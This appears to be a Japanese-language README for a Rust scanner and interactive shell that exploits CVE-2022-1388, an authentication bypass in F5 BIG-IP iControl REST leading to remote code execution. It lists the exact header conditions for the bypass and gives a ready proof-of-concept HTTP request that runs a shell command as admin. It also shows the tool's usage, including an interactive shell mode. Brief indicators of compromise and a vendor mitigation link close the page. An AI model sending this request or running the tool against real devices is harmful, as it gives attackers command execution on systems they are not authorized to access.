CVE-2022-1388-rs

CVE-2022-1388 F5 BIG-IP iControl REST 認証バイパス RCE のためのスキャナーおよびインタラクティブシェル (Rust 製)

概要

まとめると、この脆弱性を悪用するためのリクエストに必要な条件の概要は次のとおりです。

• Connection ヘッダーに X-F5-Auth-Token が含まれている必要がある
• X-F5-Auth-Token ヘッダーが存在している必要がある
• Host ヘッダーが localhost / 127.0.0.1 であるか、Connection ヘッダーに X-Forwarded-Host が含まれている必要がある
• Auth ヘッダーに管理者ユーザー名と任意のパスワードが設定されている必要がある

PoC

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
    "command":"run",
    "utilCmdArgs":"-c id"
}

LAB のセットアップ

• ラボは こちら にあります

使用方法

$ cve_2022_1308_rs -h

CVE-2022-1388 PoC 1.0
Petruknisme <[email protected]>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust

USAGE:
    cve_2022_1388_rs [OPTIONS] --url <URL>

OPTIONS:
    -h, --help         Print help information
    -s, --shell        This mode for accessing payload with interactive shell
    -u, --url <URL>    F5 Big-IP target url
    -V, --version      Print version information

必要条件

• Rust
• Cargo

IoCs

IoC は /var/log/audit ログファイルにあります。mgmt/tm/util/bash エンドポイントによって実行された認識されていないコマンドは、警戒すべき兆候です。

緩和策

最新バージョンにアップデートするか、F5 セキュリティアドバイザリの指示に従って緩和してください。

• https://support.f5.com/csp/article/K23605346

参照

• https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/